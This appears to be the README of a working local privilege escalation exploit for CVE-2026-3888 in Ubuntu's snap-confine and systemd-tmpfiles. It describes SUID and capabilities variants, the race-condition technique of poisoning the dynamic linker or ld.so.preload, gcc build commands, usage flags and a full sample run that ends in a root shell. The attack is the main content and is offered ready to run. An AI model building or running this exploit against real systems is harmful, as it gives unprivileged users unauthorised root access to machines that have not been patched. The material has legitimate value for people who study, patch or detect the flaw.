
Local privilege escalation exploit for CVE-2026-3888 targeting snap-confine and systemd-tmpfiles on Ubuntu, providing SUID and capabilities variants to achieve root access.
Local privilege escalation from unprivileged user to full root on Ubuntu Desktop 24.04+ by exploiting a TOCTOU race condition between snap-confine and systemd-tmpfiles. Two variants are provided: SUID and Capabilities.
CVSS: 7.8 (High) | Advisory: Qualys | Patch: snapd 2.74.2, March 17, 2026
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) | |
|---|---|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, etc.) |
| Target snap | firefox | snap-store |
| Mimic target | /usr/lib/x86_64-linux-gnu (~285 entries) | /var/lib (~17 entries) |
| Exploit vector | Overwrite ld-linux-x86-64.so.2 with shellcode | Control user-fstab + ld.so.preload |
| Payload format | Static ELF with raw syscalls | Shared library with __attribute__((constructor)) |
| Root trigger | SUID snap-confine loads poisoned dynamic linker | SUID su in /tmp/.snap preloads .so |
| cgroup requirement | Any snap.* name | Exact match: snap.snap-store.hook.configure |
.snap cleanup | 30 days | 10 days |
| Sandbox escape | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
systemd-tmpfiles deletes the stale .snap mimic directory under /tmp (30-day age-out)snap-confine via AF_UNIX socket backpressure to reliably win the race during the mimic bind-mount sequenceld-linux-x86-64.so.2 is replaced with shellcode that calls setreuid(0,0) + execvesnap-confine triggers the shellcode with root privileges/var/snap/firefox/common/ to escape the sandbox| File | Description |
|---|---|
exploit_suid.c | Unified single-binary exploit — all 7 phases in one fork-based orchestrator |
librootshell_suid.c | Payload — minimal ELF that replaces ld-linux-x86-64.so.2 via raw x86_64 syscalls |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Both must be compiled on (or cross-compiled for) x86_64 Linux. exploit is statically linked so it runs inside the snap sandbox without library dependencies. librootshell.so uses -nostdlib because it contains only raw syscalls — no libc.
./exploit <librootshell.so> [-d] [-s]
| Flag | Description |
|---|---|
-d | Show snap-confine debug output (verbose mode) |
-s | Skip the .snap cleanup wait (requires root password) |
# Normal run
./exploit ./librootshell.so
# Debug mode
./exploit ./librootshell.so -d
# Retry after failure
./exploit ./librootshell.so -s
The exploit enters the sandbox, waits for systemd-tmpfiles to delete .snap (up to 10 days on stock Ubuntu 25.10 and up to 30 days on stock Ubuntu 24.04), then runs the race automatically. On success, drops to a root shell.
snap-confine must be SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer activebusybox available on the target (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 3122
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destroyed.
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3122/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3543)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: user:user 755
[+] Poisoned namespace PID: 3543
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles deletes the stale .snap mimic directory under /tmpsnap-confine via AF_UNIX socket backpressure to reliably win the race during the /var/lib mimic bind-mount sequence/var/lib/snapd/mount/snap.snap-store.user-fstabuser-fstab entries bind-mount a poisoned /etc (with ld.so.preload) into the sandboxsu binary from /tmp/.snap preloads librootshell.so which calls setreuid(0,0) + execve("/tmp/sh")/var/snap/snap-store/common/ to escape the sandbox